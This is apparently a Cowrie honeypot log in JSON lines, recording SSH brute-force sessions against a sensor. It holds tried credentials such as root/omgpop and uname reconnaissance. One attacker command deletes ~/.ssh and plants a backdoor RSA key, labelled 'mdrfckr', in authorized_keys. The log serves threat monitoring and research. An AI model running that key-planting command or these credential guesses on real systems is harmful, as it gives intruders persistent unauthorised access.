{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:36:00.061957Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:36:00.170929Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:36:00.176722Z","src_ip":"92.118.39.92","session":"cc36ffcd3bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":39406,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b22ab62669","protocol":"ssh","message":"New connection: 103.82.92.202:39406 (10.17.0.5:22) [session: a5b22ab62669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:37:01.633667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:37:01.637619Z","src_ip":"103.82.92.202","session":"a5b22ab62669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:37:01.882443Z","src_ip":"103.82.92.202","session":"a5b22ab62669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tv","password":"1234","message":"login attempt [tv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:37:02.893839Z","src_ip":"103.82.92.202","session":"a5b22ab62669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:37:04.140533Z","src_ip":"103.82.92.202","session":"a5b22ab62669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42248,"dst_ip":"10.17.0.5","dst_port":22,"session":"7872c293aae9","protocol":"ssh","message":"New connection: 103.78.2.212:42248 (10.17.0.5:22) [session: 7872c293aae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:12.716022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:12.720508Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:12.974309Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ok","message":"login attempt [root/ok] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:14.019479Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:14.555490Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:14.558311Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:14.562146Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:14.818831Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:15.399951Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:15.402497Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:15.658320Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:15.662037Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42258,"dst_ip":"10.17.0.5","dst_port":22,"session":"e206173742c8","protocol":"ssh","message":"New connection: 103.78.2.212:42258 (10.17.0.5:22) [session: e206173742c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:16.909484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:16.914410Z","src_ip":"103.78.2.212","session":"e206173742c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:17.163922Z","src_ip":"103.78.2.212","session":"e206173742c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:18.193772Z","src_ip":"103.78.2.212","session":"e206173742c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:19.447500Z","src_ip":"103.78.2.212","session":"e206173742c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42260,"dst_ip":"10.17.0.5","dst_port":22,"session":"30f858a8a28a","protocol":"ssh","message":"New connection: 103.78.2.212:42260 (10.17.0.5:22) [session: 30f858a8a28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:19.709626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:19.713901Z","src_ip":"103.78.2.212","session":"30f858a8a28a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:19.971494Z","src_ip":"103.78.2.212","session":"30f858a8a28a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:21.033502Z","src_ip":"103.78.2.212","session":"30f858a8a28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:21.288660Z","src_ip":"103.78.2.212","session":"7872c293aae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:21.292889Z","src_ip":"103.78.2.212","session":"30f858a8a28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44136,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2346cf59ac7","protocol":"ssh","message":"New connection: 92.118.39.92:44136 (159.203.135.109:22) [session: d2346cf59ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:22.064426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:22.068543Z","src_ip":"92.118.39.92","session":"d2346cf59ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:22.171771Z","src_ip":"92.118.39.92","session":"d2346cf59ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:22.485411Z","src_ip":"92.118.39.92","session":"d2346cf59ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:23.590391Z","src_ip":"92.118.39.92","session":"d2346cf59ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":59426,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e572c82d671","protocol":"ssh","message":"New connection: 14.225.2.125:59426 (159.203.135.109:22) [session: 5e572c82d671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:39.644499Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:39.905535Z","src_ip":"14.225.2.125","session":"5e572c82d671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":59430,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb48f75a0d3a","protocol":"ssh","message":"New connection: 14.225.2.125:59430 (159.203.135.109:22) [session: eb48f75a0d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:40.172011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:40.177057Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:40.453113Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"omgpop","message":"login attempt [root/omgpop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:41.260040Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:41.830859Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:41.834370Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:42.107316Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:38:42.112494Z","src_ip":"14.225.2.125","session":"eb48f75a0d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd68653ad2a","protocol":"ssh","message":"New connection: 103.82.92.202:49406 (10.17.0.5:22) [session: 2cd68653ad2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:10.681865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:10.686157Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
